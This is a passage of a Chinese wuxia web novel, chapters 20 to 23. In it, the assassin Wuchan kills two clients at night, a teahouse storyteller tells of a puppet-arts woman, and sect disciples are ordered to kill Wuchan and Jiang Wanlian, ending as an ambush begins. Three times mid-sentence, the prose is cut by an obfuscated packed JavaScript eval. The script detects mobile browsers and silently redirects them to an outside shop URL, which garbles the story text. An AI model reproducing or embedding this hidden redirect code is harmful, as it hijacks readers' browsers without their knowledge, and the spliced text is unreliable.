房间里安静下来,只有窗外渐起的晚风和远处隐约的市声。江晚怜趴在桌上,看着无忏沉静如水的侧脸。这个人,马上就要去取两个人的性命——即便那俩是个该死的人,但她,这个来自现代、连杀鸡都没看过的灵魂,难免有些…… 夜色渐深,客栈里的喧嚣也渐渐沉淀下去。 子时将至,无忏准时睁开眼。他站起身,检查了一下自己的那把黑剑,动作利落而无声。 “走了。”他走到门边,回头看了江晚怜一眼:“关好门,别出来,天亮前我会回来。” 江晚怜点点头,喉咙有些发干:“你……快点回来。”待在这客栈指不定就会来个新的杀手来索自己命,但总比在外头强。 无忏没再说什么,推开房门,身影一闪,门被轻轻带上后便融入了门外走廊的阴影中,悄无声息地消失了。 江晚怜立刻跳起来,把门闩插好,又检查了一遍窗户。做完这些,她才坐在床上,安稳不定。 房间里只剩下她一个人,和桌上那盏跳动的小油灯,窗外是浓得化不开的黑暗,以及偶尔传来的、不知是风声还是别的什么的细微响动。她抱紧膝盖,第一次如此清晰地意识到,自己正身处一个怎样的世界。而那个与她命运暂时捆绑在一起、此刻正独自潜入夜色去执行“裁决”的男人,他走过的路,她或许永远无法真正理解。 长夜漫漫,刚刚开始。 20. 等待进入网审 子时的落霞镇,像一头沉睡的巨兽,只余下零星的灯火如梦境中的光斑。屋脊连绵的阴影是它起伏的脊背,而无忏,是滑过这脊背的一道无声暗流。 他离开忘尘客栈后并未直扑镇西,反而借着夜色与巷道,先绕向了城东。黑色的身影几乎与屋瓦的阴影融为一体,每一次起落都精准地踩在实处,连一片瓦当都未惊动。风掠过耳畔,带来远处更夫模糊的梆子声,以及这座镇子沉睡时粗重的呼吸。 王记赌坊的后院比想象中好进,守夜的两个护院抱着棍子靠在门边打盹,酒气隔老远都能闻到。无忏像一片没有重量的落叶,从他们头顶的围墙飘入,落地无声。院内的格局与白天简单探查过的一致,东家王琨的卧房在二楼最东头,窗棂里还透出些微光亮,夹杂着算盘珠子的噼啪声和男人低低的哼唧——似乎在盘账。 无忏没走楼梯。他沿着外墙凸起的砖缝与木椽,如履平地般悄无声息地攀上,倒挂在二层檐下,透过窗纸的缝隙向内望去。 王琨是个精瘦的中年人,眼袋深重,正就着油灯拨弄算盘,面前摊着账本,手边还放着半壶酒。他嘴角带着点狠戾的笑,嘴里念叨着:“陈世荣……看你这次死不死……那大人出手,啧啧,二百两,值……” 无忏的目光在屋内扫了一圈,确认没有旁人,也没有明显的机关陷阱。他轻轻撬开窗栓,推开一条缝隙,闪身入内,整个过程比猫儿落地更轻。 直到黑影完全笼罩了桌前那点昏黄的灯光,王琨才骇然抬头,算盘珠子“哗啦”掉了一地。 “你……”他喉咙里发出嗬嗬的声音,瞳孔因极度恐惧而放大,下意识想摸向抽屉——那里或许有刀,或许有哨子。 但太慢了。 黝黑的剑尖已经点在了他的喉结上,冰凉刺骨。王琨僵住,一动不敢动,冷汗瞬间湿透了内衫。 “陈世荣,今夜死。”无忏的声音没有任何起伏,像是在陈述一件与己无关的天气,“你的单,接了。” 王琨脸上瞬间爆发出狂喜,但那喜色还未蔓延开,便因无忏下一句话而冻结。 “你,亦死。” “为……为什么?!”王琨失声,声音尖利变调:“钱!我给你钱!加钱!双倍!不,三倍!” “规矩。”无忏不再多言,手腕微动。 剑尖递入,精准地割断了喉管与主要血脉。声音被闷在破裂的器官里,只剩下急促而绝望的“咯咯”声。王琨捂着脖子,睁大眼睛,不可置信地瞪着眼前冰冷的异色瞳孔,身体软软滑倒,撞翻了椅子,最后瘫在逐渐漫开的粘稠血泊中。 算盘珠子滚落血里,发出沉闷的嗒嗒声。 无忏收剑,甩去剑尖的血珠。接着,他走到桌边,目光扫过王琨尚未合拢的账册,翻到最新那页——墨迹尚新,正是记录此次买凶支出与对陈世荣刻骨怨毒的文字。他指尖一捻,将那一页连同下面作为凭证的契纸边缘一同撕下,就着桌上摇曳的油灯点燃。 纸页在火焰中迅速蜷曲焦黑,化作几片轻薄的灰烬,飘落在王琨逐渐涣散的眼瞳旁,像一场微不足道的、私密的葬礼。 做完这些,无忏伸手,从桌面上那本摊开的账册下,准确地抽出了两张早已备好的百两银票。他将银票对折,纳入怀中。这是“酬金”,是他此行应得之物,也是他与这个房间、这个刚刚逝去的生命之间,最后的、清晰的关联。 然后,他像来时一样,悄无声息地翻出窗外,融入浓稠的夜色,没有留下丝毫多余的痕迹。 下一个,镇西,陈世荣。 从城东到镇西,穿过大半个沉睡的镇子。夜风带来了隐约的水汽,也带来了一丝……血腥味? 无忏的脚步在某个屋顶上微微一顿,不对、不是风里的,是……沾在他衣摆下缘的,极淡的一点,来自王琨。 这股新鲜血液特有的、温热时带着铁锈甜腥、冷却后渐渐腐败的气息,毫无预兆地,像一根生锈的针,猝不及防地刺入某个尘封的、布满灰尘的角落。 左眼,那只红色的瞳仁,在黑暗中几不可察地隐隐发亮,如同深潭底被搅动的暗火,不安地摇曳。 “……序儿……” 一个极轻、极模糊的女声,从记忆最混沌的深处浮起,带着被时光浸泡过的、温暖的潮气。 是谁!? 画面是碎片的、摇晃的。没有清晰的脸,仅是一片朦胧的、橙黄色的光晕,像是冬日炉火透过纱罩映出的暖意。一个温柔的身影轮廓,正微微俯身,用一只手——只有那只手的触感是相对清晰的,正轻柔地抚过一个男孩的发顶,动作缓慢而充满了某种那个小少年后来再也未曾体会过的东西。 “……娘遇见过一个……天下无双的人呢…” 声音断续,像隔着一层厚厚的、毛玻璃的水幕。 “……他告诉娘啊……” 那只抚着他头发的手,似乎停顿了一下,指尖带着令人心安的微温。 “手里握着剑的人,得守着底线……” 声音陡然清晰了一瞬,仿佛凑到了耳边,带着温热的气息和无比郑重的恳切: “……不能滥杀无辜。” 不得害众生苦。 话音落下,那团暖色的光晕猛地波动、碎裂,像被石子击破的水中倒影。那只手的触感骤然抽离,只剩下无边无际的、冰冷的空洞。 左眼的灼热感陡然加剧,那暗红的微光倏地一闪,随即彻底熄灭,沉入比夜色更深的虚无。 那是谁?无忏想不起来,每当闻到一股血腥味,自己的左眼总是这般灼热、刺痛,脑中总浮现这段场景,是那样温柔、美好的画面。 模糊的画面里,那个看着年幼、还被称作“序儿”的这个人又是谁?无忏零零碎碎的记忆中,无法追溯。只有鼻端萦绕的、新鲜血液独有的甜腥气,无比尖锐地刺穿着现实,将那一星半点虚幻的暖意彻底撕碎,证明着那不过是黑暗中一次毫无意义的、褪色的闪回。 无忏闭上眼,复又睁开,左眼那异常的微光已然熄灭,恢复成比夜色更沉的暗红。方才那瞬间的恍惚与刺痛,仿佛只是夜风过于凛冽带来的错觉。 他微微甩头,将所有不属于此刻的碎片驱散。身形再次移动,速度更快,朝着镇西那片更为奢华寂静的别院区疾驰而去。 陈世荣的别院防守比王琨那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17002863|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里严密些,但也仅止于“些”。几个护院巡逻的路线固定而松散,对于无忏而言,形同虚设。他轻易找到了主卧——窗户大开,浓烈的酒气和脂粉味混合着传出,里面鼾声如雷。 无忏潜入房中。雕花大床上,一个肥硕的年轻男子赤着上身,搂着一个昏睡的女子,睡得正沉。床边散落着空酒壶和女子的衣裙。 没有多余的动作,甚至没有惊动旁边沉睡的女子。黑剑出鞘,寒光一闪,精准地没入心口——陈世荣在睡梦中猛地一抽搐,鼾声戛然而止,随即彻底瘫软,再无生息。 无忏抽回剑,用床帐一角拭净剑身。他看了一眼旁边昏睡的女子,将她被陈世荣压住的衣袖轻轻抽出一角,然后转身离开,顺手带上了那扇敞开的窗。 夜色依旧深沉。两个恶贯满盈的生命,如同被掐灭的烛火,无声无息地消逝在各自的巢穴里。 他没有在镇西停留,也没有再去查看王琨那边的动静。他沿着原路返回,身形在屋脊巷陌间快速穿梭,如同一个完成了使命的幽灵,急于回归属于自己的阴影。 左眼没有再发亮,那股因血腥味而翻腾起的、遥远模糊的碎片,也重新沉入了记忆的最深处,了无痕迹。 只是,在翻回忘尘客栈后院、轻盈落地时,他下意识地,抬手,用指背极轻地擦过自己的左眼眼角。 触感冰凉干燥,什么也没有。 但总觉得有什么东西碍着眼睛。 他抬头,看向二楼乙七号房那扇漆黑的窗户。里面的人,应该还醒着,还或许正竖起耳朵听着外面的动静。 无忏从怀中取出那二百两银票,看了看,又收起。然后,他像一只真正的夜行动物,悄无声息地沿着客栈外墙攀援而上,来到那扇窗前,屈指,在窗棂上极轻地叩了三下。 停顿片刻,里面传来细微的、窸窸窣窣的声响,像是有人从地上慌忙爬起,然后是门闩被轻轻抽开的声音。 窗户从里面被拉开一条缝,露出一双在黑暗中睁得大大的、带着紧张和探寻的眼睛。 四目相对。 无忏没说话,只是单手一撑,利落地翻了进去,顺手将窗户关好、闩上。 房间里,油灯已经被重新点亮,光线昏暗。江晚怜裹着外衣,头发有些乱,眼睛下面有淡淡的青影,显然一直没睡。她盯着无忏上下打量,似乎在确认他有没有受伤,目光最后落在他依旧平静无波的脸上,以及……那双在昏暗光线下显得格外幽深的异色眼眸。 “完……完事了?”她小声问,声音有些干涩。 “嗯。”无忏走到桌边,将银票放在桌上。 江晚怜的视线随着银票移动,又飞快地瞟了他一眼,嘴唇动了动,似乎想问什么,比如“顺利吗”,比如“那个王琨……”,但最终,她什么也没问出口。只是慢慢走到自己床边坐下,抱着膝盖,看着桌上那张代表两条人命的银票,又看了看窗边那个开始解下黑剑、神色如常的男人,眼神复杂难明。 夜色,在小小的房间里无声流淌,将方才外面发生的一切血腥与冰冷,暂时隔绝。 但有些东西,一旦被触动,便再也无法完全回到原处。 21. 那半截故事 晨光再次漫过窗棂时,江晚怜已经醒了。她其实没怎么睡踏实,后半宿几乎是在半梦半醒间,听着旁边床上无忏均匀到几乎没有变化的呼吸声度过的。但此刻醒来,看着那透过浅藕荷色衣袖、落在手背上暖融融的光斑,昨夜那种悬在半空的紧张感,奇异地消散了大半。 房间里很安静。无忏已经起身,正背对着她站在窗边,晨光勾勒出他挺拔而略显孤峭的背影。他似乎在看着楼下逐渐苏醒的街市,又似乎只是在静静调息。那把黑剑倚在桌边,桌上放着昨晚那张二百两的银票。 江晚怜坐起身,活动了一下脖子。腿伤已经好多了,走动时只有隐约的酸胀感。她看着无忏的背影,张了张嘴,一时间竟不知道第一句话该说什么。问“睡得好吗”?太诡异、问“昨晚顺利吗”?好像有点多余,最后,她干巴巴地挤出一句:“……早。” 无忏转过身,晨光落在他脸上,让那双异色眼眸里的冷硬似乎被冲淡了些许,虽然表情依旧没什么变化:“腿如何?” “好多了,能走能跳——”她说着就想下床证明,结果动作太猛,牵动伤处,还是“嘶”地抽了口凉气。 无忏看了她一眼,没说什么,走到桌边倒了碗水递过来。 江晚怜接过,小口喝着,温水滋润了干涩的喉咙,也让她镇定了些。她瞄着桌上的银票,忍不住问:“这钱……你打算怎么花?”问完又觉得像在分赃,赶紧补充,“我的意思是,咱们接下来是不是得省着点?毕竟……” “够用。”无忏打断她,语气平淡,“先吃早饭。” 下楼时,大堂里已经坐了几桌客人,多是赶早路的行商或江湖客,低声交谈着,空气里弥漫着粥点和包子的香气。白猫掌柜依旧在它的高凳上,不过今天换了个姿势,背对着大堂,面朝后院方向,毛茸茸的背影透着一股“莫挨老子”的慵懒。 “今天做什么?”她问,感觉两个人之间的对话似乎……顺畅了一点?至少他没再用一个字回答。 “镇上有说书人。”无忏起身,走到窗边看了看外面的天色:“午后开讲。去听听。” “说书?”江晚怜一愣,随即反应过来:“你是觉得……可能会听到有用的东西?” “或许。”无忏没有肯定,但行动已经说明意图:“先休息,午后出发。” ——午后,落霞镇最大的茶楼“漱玉轩”。 二楼临窗的雅座,无忏和江晚怜占了一桌。位置不算最好,但能清楚看到中央说书的高台,也能观察到大部分茶客。无忏点了壶最普通的清茶和两碟点心,便靠着椅背,目光看似随意地扫过四周。上次茶馆的经历,总让她觉得这楼梯会冲上来一男一女…… 茶楼里人不少,空气中弥漫着茶香、点心的甜腻味和人们的交谈声。说书的是个干瘦的老头,留着山羊胡,眼睛很有神,正在台上有板有眼地讲着一段江湖侠客的传奇,引得下面不时叫好。 她听了一会儿,无非是些快意恩仇、英雄美人的老套故事,没什么特别的。她悄悄瞥了一眼无忏,发现他看似在听,但眼神平静,显然也没从中听出什么。 就在一段故事结束,茶客们鼓掌喝彩,老头喝茶润喉的间隙,一个坐在前排、看起来像是常客的富态商人笑着起哄:“张老先生!老是讲这些打打杀杀的没意思!来点新鲜的!听说北边有些奇人异事,您给说道说道?” 说书老头放下茶碗,捻着胡须,嘿嘿一笑:“客官想听北边的奇事?有倒是有,不过嘛……”他拉长了调子,眼睛瞟了瞟空了的赏钱盘子。 那商人倒也爽快,示意伙计添了些铜钱进去。 老头这才满意地清了清嗓子,折扇“啪”地一敲桌面,声音压低了几分,带上了神秘的色彩:“既然如此,老朽今日就破例,说一段‘北地奇谭’!话说那北地苦寒,却也出过不少身怀异术的怪人。其中有一女,无名无姓,亦不知其来历,只传闻她——擅傀儡之术!” “傀儡术?”下面有人低声议论:“那不是邪术吗?” “正是!”老头声音抑扬顿挫:“此术乃禁忌之道,牵血丝引线,操弄死物乃至活人于股掌之间!修炼者无不付出惨痛代价,终身难见天日,心性扭曲者居多!然此女,据说自幼便通此术,且精妙绝伦,堪称……无情!” 江晚怜的心提了起来。无名无姓,擅傀儡术,无情……这几个词组合在一起,让她莫名联想到无忏那种冰冷精准、仿佛剥离了多余情绪的行事风格,她偷偷看了一眼无忏,发现他搭在茶杯边沿的手指,几不可察地微微收紧。 说书老头继续道:“此女凭借傀儡术,行踪诡秘,亦善……暗杀之道。”最后四个字他说得极轻,但足以让有心人听见,茶楼里安静了一瞬。 “如此妖女,岂能容她横行?”老头话锋一转:“终于,有一名门正派的修行者,奉命前去,誓要将这妖女擒回师门,正法以儆效尤!” 江晚怜屏住呼吸,修行者……奉命擒拿? “然而,世事难料啊!”老头拖长了腔调,脸上露出一种混合着感慨与暧昧的神色:“那修行者见到此女之后,不知怎的,竟……一见倾心!” “哗——”茶楼里响起一阵低低的哗然和轻笑,英雄难过美人关的老桥段,永远有人爱听。 “后来呢?后来呢?”有人催促。 说书老头却端起茶碗,慢悠悠地又喝了一口,眼睛再次瞟向赏钱盘,捻着胡须笑而不语。 意思很明显:欲知后事如何,且听下回分解——或者,再加钱。 茶客们笑骂起来,有嚷着“老头又来这套”的,也有零星又扔了几个铜板的,但那富商似乎失去了兴趣,没再加钱。老头见状,也不纠缠,哈哈一笑,折扇再敲桌面:“今日天色不早,这北地奇谭暂且到此!预知那修行者与傀儡妖女是孽缘终了,还是谱写奇篇,且待老朽下回,再为诸位分解!”说罢,拱手作了个罗圈揖,竟真的收拾东西,准备下台了。 茶楼里恢复了喧闹,人们开始议论刚才的故事,或催促开始下一段。 江晚怜愣愣地坐在那里,脑子里还在消化刚才听到的信息。无名无姓、擅傀儡术、无情、暗杀……修行者奉命擒拿却一见倾心……这些碎片,和那两句诗“长堤柳色入笙歌,临堤鸢影破春初”有什么关联?老头说的,会是诗里指代的人吗?还是说,这只是一个相似的、无关的江湖传闻?她毫无头绪,漫画里根本没提过这些。 她看向无忏,他已经放下了茶杯,脸色平静无波,仿佛刚才听的是一个与他全然无关的故事。但江晚怜注意到,他异色的眼眸深处,似乎比平时更加幽暗,像是结了一层看不见的冰。 “走。”无忏站起身,放下一小块碎银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17005771|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在桌上,率先朝楼下走去。 江晚怜连忙跟上。直到走出茶楼,来到相对僻静的巷口,她才忍不住小声问:“那个说书的……他说的是……” “不知道。”无忏打断她,声音听不出情绪:“江湖传言,十有九虚。” “可是……” “未必与此有关。”无忏停下脚步,侧头看她:“不必深究。” 他的语气很淡,但带着一种不容置疑的意味。江晚怜知道,这个话题到此为止了,至少,现在他不会多说。 她点点头,压下心中的疑惑和猜测,转而想起另一件事:“那我们接下来去哪儿?还在落霞镇吗?” 无忏望向镇外的方向,沉默了片刻。 “此地不宜久留,王琨与陈世荣之死,虽暂时无人察觉,但他们的对头或手下,未必不会寻踪。而且,”他顿了顿:“客栈里,有其他眼睛。” 江晚怜凛然:“其他杀手?” “当然。”无忏没有细说:“收拾东西,日落前离镇。” ——回客栈的路上,江晚怜思绪纷乱。 说书人的故事像一颗投入心湖的石子。她试图回忆漫画里有没有提过类似的人物或背景,但一无所获。原漫对江湖的许多秘辛都语焉不详,如果那故事有几分真实……无名无姓擅傀儡术的女子,对她一见钟情的修行者……这组合怎么听都充满戏剧性和悲剧色彩。 她又想到叶玖和李子遥。按照原漫剧情,他们在落霞镇扑空后,应该会扩大搜索范围,或者回师门汇报?以叶玖的细心,会不会已经察觉到王琨陈世荣的暴毙,并怀疑到无忏头上?漫画里这个时间段,他们好像正在追查另一条支线,暂时不会成为主要威胁……但这是改变后的剧情,谁知道呢? 回到忘尘客栈,白猫掌柜依旧揣爪卧在柜台,见她回来,碧蓝的眼睛懒洋洋地睁开一条缝,又闭上了。 江晚怜上楼收拾自己寥寥无几的行李,主要是那套浅藕荷色裙子和苏衍给的药。当她拿起那套周纤巧送的、被白猫掌柜“托管”的旧衣时,发现衣服被叠得整整齐齐,上面还放着一小包用油纸包好的、散发着清甜香气的果脯。 是猫掌柜放的?还是伙计?她有点懵,但心里微微一暖。不管怎样,这地方虽然古怪,但似乎……并不全是恶意。 她将果脯小心收好,旧衣也仔细包起,走到柜台结账,无忏又放下一小块银子。白猫掌柜这次没看银子,反而抬头,碧蓝的眼睛直直看向无忏,极其轻微地、几乎难以察觉地,朝着客栈后门的方向,歪了歪头。 然后,它重新趴下,打起了小呼噜。 无忏目光微凝,没有丝毫犹豫,转身便带着江晚怜,径直穿过大堂,走向后门,而不是他们来时的大门。 推开厚重的后门,外面是一条狭窄僻静的后巷,堆着些杂物,空无一人。夕阳将巷子尽头的墙壁染成温暖的橙红色,与巷子本身的阴冷形成对比。 无忏没有停留,快速而安静地沿着后巷朝镇外方向走去。江晚怜跟着他,最后回头看了一眼忘尘客栈那扇紧闭的后门。 门楣上,那只旧灯笼静静挂着,猫影图案在晚风中轻轻旋转。 落霞镇的故事,暂时告一段落。而前方等待着他们的,是更广阔的、未知的江湖,以及那依旧迷雾重重的“长堤柳色”与“临堤鸢影”。 22. 师门铁令 ——落霞镇,西街,清晨的豆腐摊旁。 叶玖捧着一碗热豆浆,小口啜饮,目光却似不经意地掠过斜对面那条通往镇西别院区的青石路。李子遥站在她身侧,咬着刚出炉的油饼,有些焦躁地来回挪着脚步。 “师姐,我们都在这镇上转了两天了。”他压低声音,带着不耐,“那魔头滑不留手,会不会早就跑了?咱们是不是该往别处找找?” “急什么。”叶玖声音平静,“江晚怜带着伤,总要歇脚、治伤、补充给养。落霞镇是附近最大的镇子,忘尘客栈又在这里,他们多半还在,至少……停留过。”她想起那天傍晚惊鸿一瞥的浅藕荷色身影和那双异色眼眸,心中笃定。 就在此时,两个穿着皂衣、挎着腰刀的捕快,打着哈欠,晃悠悠地从西街那头走过来,在豆腐摊隔壁的早点铺子坐下。 “老板,两碗馄饨,多撒葱花!”其中一个年轻的捕快喊道。 “好嘞!” 另一个年长些的捕快揉着惺忪睡眼,抱怨道:“晦气!大清早的就不能消停点……陈记粮行那个混账儿子,还有王记赌坊的王扒皮,昨儿夜里,全没了!” 叶玖的耳朵立刻竖了起来,喝豆浆的动作微不可察地一顿。李子遥也停止了咀嚼。 “嘘!小声点!”年轻捕快紧张地左右看看,“上头不是让先压着吗?” “压个屁!”年长捕快啐了一口,“两个都不是什么好鸟,死就死了,还省得咱们头疼。就是这死法……啧,干净利落得吓人。陈世荣在自个儿别院床上,心口一个窟窿,旁边睡着的女人愣是没醒。王琨在赌坊后院房里,脖子差点割断……” “高手干的?”年轻捕快声音更低了。 “何止高手。”年长捕快凑近了些,声音压得几乎听不见,“我验过伤,陈世荣那伤口,窄、深、准,一股子阴寒气,像是……传闻里那种专干黑活儿的顶尖人物用的剑,王琨那边更绝,几乎没挣扎痕迹,一刀毙命!两人死的时间差不多……” “王琨和陈世荣本来就不对付……”年轻捕快若有所思,“会不会是王琨买凶杀陈世荣,结果自己被灭口?” “难说。”年长捕快摇摇头,“反正这事儿不简单!衙门里老爷们的意思,两家都不是善茬,既然没苦主拼命追究,又没有线索,多半就……不了了之,咱们也乐得清闲。” 两人又嘀咕了几句别的,馄饨上来后便埋头大吃。 叶玖轻轻放下豆浆碗,碗底与木桌接触,没发出半点声响。她看向李子遥,后者脸上带着震惊和一丝不易察觉的兴奋。 “是……无忏?”李子遥用口型问。 叶玖微微点头。时间对得上。他们前晚在客栈冲突,昨夜就发案,手法也符合传闻中对无忏的描述——精准、冷酷、不留痕迹,至于“买凶灭口”的推测…… “不只是买凶杀人。”叶玖声音极轻,确保只有李子遥能听见,“若只是王琨买凶杀陈世荣,凶手续完约、拿走酬金即可,为何要杀王琨?倒是更像……”她蹙起秀眉。 “了结某种关联。” “管他什么关联!”李子遥眼中燃起斗志,“这不正好证明他们还在这一带!而且刚动了手,说不定还没走远!师姐,我们……” “稍安勿躁。”叶玖打断他,目光再次投向镇西方向:“陈世荣死在镇西别院,王琨死在城东赌坊。无忏昨夜往返两地,行动迅速。他们若已离开,会选择哪个方向?落脚点又可能在何处?”她脑海中迅速闪过落霞镇的地图,以及那晚在客栈附近观察到的一些细节。 李子遥被问住了,但他很快想到一点:“那个穿浅藕荷色裙子的……就是那个江晚怜,她腿上有伤,走不快。无忏带着她,就算连夜离开,也走不了多远,我们是不是该去镇子出入口打听一下?或者找找医馆?” “医馆……”叶玖沉吟。这思路是对的。带着腿伤的人,很难完全不露痕迹。她想起那晚在忘尘客栈附近,似乎闻到过极淡的药草味,来自一条僻静的后巷。 “总之先看看附近。”叶玖起身,放了几枚铜钱在桌上。 两人离开早点摊,拐进一条相对清净的巷子。 “子遥,”叶玖忽然开口:“那晚在客栈附近,你可曾听到有人念诗?似是‘柳色入笙歌’之类。” 李子遥回想了一下,皱眉:“好像……是有个古怪老头嘀咕了句什么,没听清,怎么?这诗有问题?” “不知道。”叶玖坦言,“但当时无忏和江晚怜刚上楼,那老头便念了出来,时机巧合…我记下了两句:‘长堤柳色入笙歌,临堤鸢影破春初’。不似寻常吟咏,倒像是……暗语或指代。” “诗?”李子遥不以为然,“师姐,你是不是想多了?一句诗能有什么线索?我们现在要紧的是追上他们!” “任何不寻常的细节都可能是线索。”叶玖语气严肃了几分,“尤其与无忏相关之事,绝不能以常理度之。你觉得他像是会无缘无故待在客栈大堂听诗的人吗?” 李子遥噎了一下,无法反驳。那魔头确实不像有这种雅兴。 “我只是觉得,”他语气有些硬,“我们现在该集中精力追踪,而不是琢磨一句听不懂的诗,万一他们跑了……” “正因可能跑了,才要抓住所有可能的线索。”叶玖停下脚步,转身看着他,清丽的脸上带着不容置疑的坚定:“李子遥,我知道你心急,但追踪不是埋头猛冲,师父派我们出来,是师尊命我们查明真相,不是逞血气之勇。无忏此人深不可测,江晚怜身上谜团重重,若我们只知追赶而不懂观察思考,只会重蹈客栈那晚的覆辙,甚至更糟。” 李子遥脸涨红了一下,想反驳,却想起那晚确实是自己冲动喝问才引发了混乱,还赔了八十七两银子。他咬了咬牙,偏过头:“……知道了,师姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17005772|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我听你的。” 叶玖见他听进去了,神色稍缓:“我们先去镇西别院和城东赌坊附近看看,或许能有发现。然后,留意镇上的医馆和药铺,尤其是……不那么显眼的。” 两人正商议着,忽然,一阵轻微却迅疾的扑翅声自头顶传来。 叶玖脸色微变,抬头望去——那是一只通体灰羽、唯有翅尖带一抹金褐的隼鸟,正收拢翅膀,精准地朝着她俯冲下来。 “是‘金翎’!师门的传讯隼!”李子遥低呼。 叶玖迅速伸出左臂,隼鸟“金翎”轻巧地落在她覆着软甲的小臂上,锐利的眼睛转了转,歪头从腿上绑着的一小截中空竹筒里,叼出一卷极薄的、近乎透明的绢纸,递给叶玖。 叶玖接过,隼鸟任务完成,振翅而起,转眼消失在天际。 她展开绢纸,上面只有寥寥数语,是用特殊的药水书写,需运功于目才能看清。字迹铁画银钩,透着不容置疑的威严,正是他们师尊凌云门主亲笔: “探报:江晚怜确与无忏同行,江家血案疑云更甚。此二人关系诡谲,已成大变数。今令:叶玖、子遥,寻得二人,不可留活,就地格杀,以绝后患。务必隐秘,勿留痕迹。” 绢纸在叶玖指尖微微颤抖。 “师、师尊……要我们……杀了他们?”李子遥也看清了内容,惊愕万分:“不是说要查明真相,无忏我理解…但江晚怜……” “师命已下。”叶玖的声音有些发干,她缓缓收起绢纸,内力一催,薄绢瞬间化为齑粉,随风飘散。她抬起头,望向无忏和江晚怜可能离开的方向,那双总是清澈冷静的眼眸里,第一次出现了深深的挣扎与波澜。 查明真相……与执行师命。 江晚怜……那个穿着浅藕荷色裙子、会下意识躲在高大男子身后的姑娘,真的是必须“以绝后患”的“变数”吗? 而无忏,那个强大、冰冷、却似乎对江晚怜有着古怪回护的杀手…… “师姐?”李子遥看着她复杂的神色,试探地问,“我们……还追吗?按师命,还是……” 叶玖闭上眼,深吸一口气,再睁开时,眸中已恢复了大部分清明,只是深处那抹沉重挥之不去。 “追。”她声音低沉,却带着决心,“无论如何,先找到他们。” 是查明真相,还是执行铁令?或许,只有真正再次面对那两人时,才能做出抉择,她率先迈开脚步,朝着镇外,那个可能是无忏他们离开方向的道路走去。李子遥握了握剑柄,连忙跟上。 阳光将两人的影子拉长,投在青石板路上,前方道路蜿蜒,没入远处的山林与未知。 而在他们前方数十里外,另一对男女,也正踏着晨光,走向下一个未知的落脚点。 猎手与目标的距离,在无形中悄然缩短。而一场围绕“真相”与“格杀”的抉择风暴,正在追踪者心中无声酝酿。 23. 等待进入网审 离开落霞镇的第三天夜里,无忏选了处背风的山坳歇脚。此处地形略凹,三面有较高的土坡和稀疏的灌木遮挡,前方视野相对开阔,是个利于警戒又不易被远处直接发现的所在。 篝火很小,只勉强驱散深秋夜间的寒意,映着跃动的微光。江晚怜裹着从镇上添置的厚实披风,靠着一块相对平整的石头小口啃着干粮。连日的赶路加上腿伤初愈,她脸上带着明显的疲惫,但精神还算安稳——至少,在变故发生前是如此。 无忏坐在火堆另一侧,黑剑横放膝头,闭目似在养神。夜风穿过山野,带着枯草和泥土的气息,偶尔有远处不知名野兽的嚎叫隐约传来,更衬得周遭寂静。 江晚怜吃完东西,正有些昏昏欲睡,忽然—— “嗖!” 一道尖锐的破空声撕裂夜的宁静,并非一支,而是从两个截然不同的方向同时射来!一支乌黑的弩箭直取无忏面门,另一支则刁钻地射向江晚怜倚靠的石块下方——那里正是她小腿的位置! 偷袭!而且是配合默契的双人偷袭! 无忏在破空声响起的刹那已然睁眼,异色瞳孔在火光中骤缩。他没有去拔剑,身体以几乎违反常理的柔韧和速度向侧后方微仰,那支射向他面门的弩箭贴着他下颌掠过,“笃”一声深深钉入后面的土坡。同时,他左手疾挥,一件原本放在手边的什么东西被他用巧劲掷出,“铛”地一声脆响,竟然后发先至,精准地击中了射向江晚怜的那支弩箭箭杆,将其打得偏离方向,擦着江晚怜的披风边缘斜斜插入地面。 江晚怜被这突如其来的袭击吓得魂飞魄散,睡意全消,心脏狂跳着几乎要从喉咙里蹦出来。她还没来得及做出任何反应,两道人影已如鬼魅般从篝火光芒边缘的黑暗中扑出! 左边一人身形高瘦如竹竿,穿着一身便于夜行的深灰色劲装,脸上蒙着黑布,只露出一双细长阴鸷的眼睛。他双手各持一柄长约二尺的分水峨眉刺,刺身泛着幽蓝的金属光泽,显然并非凡铁。动作飘忽迅捷,直扑无忏,两柄短刺舞动间带起嗤嗤轻响,笼罩无忏上中两路,招式狠辣刁钻。 右边一人则矮壮敦实,同样蒙面,使一对沉重的镔铁鸳鸯钺。他步法沉猛,落地有声,不像同伴那样追求速度,而是带着一股蛮横的压迫感,挥舞双钺,卷起沉闷的风声,主要封堵无忏的闪避空间,兼而威胁一旁的江晚怜——显然是打着牵制主攻手、同时压迫“累赘”的主意。 